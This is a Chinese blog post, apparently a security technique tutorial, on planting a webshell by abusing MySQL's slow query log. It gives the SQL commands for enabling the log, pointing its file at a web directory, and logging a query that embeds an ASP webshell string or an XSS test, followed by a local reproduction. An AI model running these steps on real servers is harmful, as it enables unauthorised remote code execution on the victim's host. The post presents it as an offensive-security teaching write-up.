【技术分享】利用MySQL慢查询机制写入shell

声明

本文章仅用于网络安全技术分享,严禁用于非法用途!请勿进行任何未经授权的渗透行为!请师傅们遵守《网络安全法》,切莫触碰法律红线!

前置内容

慢查询日志

MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阈值的语句,具体指运行时间超过long_query_time值的SQL,则会被记录到慢查询日志中。

long_query_time的默认值为10,意思是运行10秒以上的语句

由慢查询日志来查看哪些SQL超出了我们的最大忍耐时间值,比如一条SQL执行超过5秒钟,我们就算慢SQL,希望能收集超过5秒钟的SQL,即慢查询用于对慢速查询的定位,是出于优化目的的

查看慢查询日志是否开启:

SHOW VARIABLES LIKE '%slow_query_log%';

开启慢查询日志:

SET GLOBAL slow_query_log = 1;

使用该方法开启MySQL的慢查询日志只对当前数据库生效,如果MySQL重启后会失效。

自定义慢查询日志写入位置:

SET GLOBAL slow_query_log_file = '填写路径';

MySQL 会将该查询及其结果写入到之前指定的文件路径()。

恶意内容的写入

  • 当查询执行时,MySQL 会将查询内容(包括 SQL 语句和结果)写入到日志文件中。
  • 通过构造查询语句,将恶意内容(如 XSS 脚本或 Webshell 代码)嵌入到查询中,从而间接写入到目标文件中。
  • 例如,SELECT '<%execute request("c")%>' OR SLEEP(11); 会将 <%execute request("c")%> 写入到日志文件中。
select '<script>alert(123456)</script>' or sleep(11);

复现流程

直接登录上数据库(实战中可能利用弱口令或者信息泄露等等之类的)之后如利用数据库慢查询机制进行shell的写入,并且解析shell直接拿下

接下来先查询一下是否开启慢查询

没开,那就直接设置慢查询开启

接下来先写入一个html文件,设置日志路径,这里需要绝对路径,我在本地复现的环境自然知道路径,实战中想确认路径的办法或者思路太多了,确认web路径的方法不多赘述

//路径要用\\去转义一下,要不然会出问题,截图的时候忘记了(逃

将shell写入查询语句(这里用xss弹窗代替)

然后等待11秒,出现如上查询结果,之后再去访问我们的rice.html

可以看到成功触发慢查询,将xss写入了日志,访问获得了xss弹窗

实战需要注意目标的架构,比如php环境的服务器就不能传jsp的马(

按照相同思路流程把xss换成webshell就ok了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇